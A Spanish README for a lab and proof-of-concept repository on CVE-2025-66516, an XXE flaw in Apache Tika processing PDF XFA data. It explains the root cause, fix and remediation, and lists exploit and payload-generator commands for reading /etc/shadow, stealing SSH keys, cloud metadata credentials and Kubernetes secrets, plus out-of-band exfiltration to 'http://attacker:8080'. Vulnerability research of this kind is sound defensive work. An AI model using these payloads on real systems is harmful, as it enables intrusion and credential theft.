CVE-2025-66516: Vulnerabilidad crítica de XXE en Apache Tika

Resumen Ejecutivo

CVE-2025-66516 es una vulnerabilidad crítica de inyección de XML External Entity (XXE) en Apache Tika con una puntuación CVSS de 10.0 (severidad máxima). La vulnerabilidad permite a atacantes remotos leer archivos arbitrarios, realizar Server-Side Request Forgery (SSRF) y exfiltrar datos sensibles mediante la subida de un documento PDF especialmente diseñado que contiene contenido XFA (XML Forms Architecture) malicioso.

Versiones Afectadas

Importante: Este CVE reemplaza a CVE-2025-54988, que identificó incorrectamente solo el módulo PDF como vulnerable. La vulnerabilidad real reside en tika-core.

Análisis Técnico

La Vulnerabilidad

La vulnerabilidad es un fallo de inyección de XML External Entity (XXE) en la forma en que Apache Tika procesa datos XFA (XML Forms Architecture) dentro de documentos PDF.

El Problema: Tika depende de analizadores XML de Java subyacentes (específicamente un analizador StAX) para leer contenido XML XFA. Las versiones vulnerables no configuraron correctamente el analizador para deshabilitar la resolución de entidades externas. Cuando el analizador encuentra una solicitud de entidad externa (como SYSTEM "file:///etc/passwd"), la resuelve y devuelve el contenido del archivo.

Ubicación: El error existe en XMLReaderUtils.getXMLInputFactory() en tika-core:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineficaz
    return factory;
}

IGNORING_STAX_ENTITY_RESOLVER tenía la intención de bloquear XXE devolviendo un resultado vacío, pero devolvía un String en lugar del InputStream esperado. El analizador StAX predeterminado del JDK ignoró silenciosamente este tipo de retorno incorrecto y recurrió al comportamiento predeterminado, que resuelve entidades externas.

La Corrección (Tika 3.2.2)

La corrección deshabilita explícitamente el soporte de DTD y entidades externas a nivel de fábrica:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Además, el resolvedor se cambió para devolver un tipo InputStream adecuado.

La Protección Incidental de Woodstox

En el ecosistema Java, existen múltiples bibliotecas de analizadores XML. Las aplicaciones utilizan el analizador que esté configurado o que se encuentre primero en el classpath.

¿Qué es Woodstox? Woodstox es un analizador XML StAX de alto rendimiento y código abierto, comúnmente incluido en aplicaciones Java.

Cómo proporciona protección: Por diseño (no por accidente), la implementación de Woodstox maneja correctamente el tipo de retorno de XMLResolver. Cuando Woodstox recibe el valor de cadena devuelto por IGNORING_STAX_ENTITY_RESOLVER, lo trata como contenido vacío válido, bloqueando efectivamente el XXE.

Distinción crítica:

• tika-server-standard.jar incluye Woodstox - NO VULNERABLE
• tika-core + módulos de analizadores (uso embebido) NO incluye Woodstox - VULNERABLE
• Aplicaciones que usan el analizador StAX predeterminado del JDK - VULNERABLE

Inicio Rápido

Probar la Vulnerabilidad

# 1. Iniciar el entorno de laboratorio
docker-compose up -d --build

# 2. Probar contra Tika vulnerable (JDK StAX, puerto 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extraer /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Comparar con Tika protegido (Woodstox, puerto 9998)
python poc/exploit.py --url http://localhost:9998 --check

Entorno de Laboratorio

Estructura de Directorios

CVE-2025-66516/
|-- docker-compose.yml              # Orquestación del laboratorio
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika con Woodstox (protegido)
|   +-- Dockerfile.jdk-stax         # Tika sin Woodstox (VULNERABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Aplicación Flask de subida
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Herramienta de explotación automatizada
|   +-- generate_payload.py         # Generador de PDF malicioso
+-- README.md

Servicios

Iniciar el Laboratorio

docker-compose up -d --build

Herramientas de Prueba de Concepto

1. Herramienta de Explotación Automatizada (exploit.py)

Explotación de cadena completa con generación automática de payload y extracción de datos.

# Verificar si el objetivo es vulnerable
python poc/exploit.py --url http://target:9998 --check

# Leer archivos locales
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# Robo de metadatos AWS (instancias EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Secretos de Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF a servicios internos
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Guardar datos extraídos
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Generador de Payload (generate_payload.py)

Genera archivos PDF maliciosos para pruebas manuales o integración con otras herramientas.

# Generar payload para un archivo específico
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Generar payload SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Generar payload de exfiltración OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Usar modos de ataque predefinidos
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Listar modos de ataque disponibles
python poc/generate_payload.py --list-modes

Modos de Ataque Disponibles:

• file_read - Leer archivos locales (/etc/passwd, /etc/shadow, etc.)
• ssh_keys - Robar claves privadas SSH
• aws_metadata - Metadatos de AWS EC2 y credenciales IAM
• gcp_metadata - Tokens de cuentas de servicio GCP
• azure_metadata - Tokens de identidad administrada de Azure
• k8s_secrets - Credenciales de cuentas de servicio de Kubernetes
• webapp_configs - Configuraciones comunes de aplicaciones web
• ssrf_internal - Sondear servicios internos

Resultados de las Pruebas

Configuración Vulnerable (JDK StAX - Sin Woodstox)

Pruebas contra Tika 2.9.2 sin Woodstox (simulando despliegues embebidos):

Prueba de Explotación:

<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Configuración Protegida (Woodstox StAX)

Pruebas contra Tika 2.9.2 con Woodstox (tika-server-standard.jar estándar):

Salida muestra entidad vacía:

<li fieldName="data">data: </li>

Conclusión

La vulnerabilidad es real y crítica. La explotación depende de la implementación de StAX:

• [PROTEGIDO] tika-server-standard.jar - Woodstox incluido bloquea XXE
• [VULNERABLE] Tika embebido (tika-core + parsers) - Usa JDK StAX por defecto
• [VULNERABLE] Despliegues personalizados sin Woodstox
• [VULNERABLE] Integraciones empresariales (Elasticsearch, Solr, Alfresco) - A menudo usan Tika embebido

Capacidades de Ataque XXE

XXE es fundamentalmente una vulnerabilidad de lectura de archivos/SSRF, no un RCE directo. Sin embargo, habilita varias rutas de ataque:

Ataques Directos

Escalada a RCE

Remedio

Acciones Inmediatas

1. Actualizar Apache Tika a la versión 3.2.2 o posterior

   root@kitploit:~

   <dependency>
       <groupId>org.apache.tika</groupId>
       <artifactId>tika-core</artifactId>
       <version>3.2.2</version>
   </dependency>
   

2. Verificar que todos los componentes de Tika estén actualizados (tika-core Y módulos de analizadores)

Evaluación de Riesgos

Defensa en Profundidad

1. Validación de Entrada - Validar tipos de archivo subidos
2. Segmentación de Red - Aislar el procesamiento de Tika
3. Mínimos Privilegios - Permisos mínimos del sistema de archivos
4. Monitoreo - Alertar sobre acceso inusual a archivos

Viaje de Investigación

Problemas Encontrados

Problema 1: El exploit inicial no funcionó

• Se detectó XFA pero nunca se activó XXE
• Se dedicó tiempo a depurar la estructura del payload

Problema 2: Error de múltiples declaraciones XML

• Error: WstxParsingException: Illegal processing instruction target ("xml")
• Causa: Los flujos XFA incluían cada uno declaraciones XML
• Solución: Incluir declaración solo en el preámbulo, no en subflujos

Problema 3: El misterio de Woodstox

• Todos los payloads fallaron contra tika-server-standard.jar
• Se descubrió que Woodstox estaba incluido y bloqueando XXE
• Se creó Dockerfile.jdk-stax para probar sin Woodstox

Problema 4: Pruebas con la configuración incorrecta

• Se perdió tiempo en la configuración protegida
• Lección: Comprender el árbol de dependencias completo antes de probar

Lecciones Aprendidas

1. Las puntuaciones CVSS necesitan contexto - Los factores ambientales afectan la explotabilidad
2. Probar configuraciones mínimas - No asumir dependencias incluidas
3. Los analizadores XML varían enormemente - El mismo código se comporta diferente con diferentes analizadores
4. Embebido != Servidor - El uso como biblioteca a menudo tiene dependencias diferentes
5. Los mensajes de error son pistas - Las excepciones del analizador revelan detalles de implementación

Referencias

• Aviso de Seguridad de Apache Tika
• Commit de Corrección
• Entrada NVD
• Discusión en la Lista de Correo de Apache Tika

Cronología

Aviso Legal

Este entorno de laboratorio y código de prueba de concepto se proporcionan únicamente para pruebas de seguridad autorizadas, fines educativos e investigación defensiva.

No utilice estas herramientas contra sistemas sin autorización explícita por escrito.

Licencia

Este material de investigación se proporciona con fines educativos. Úselo responsablemente.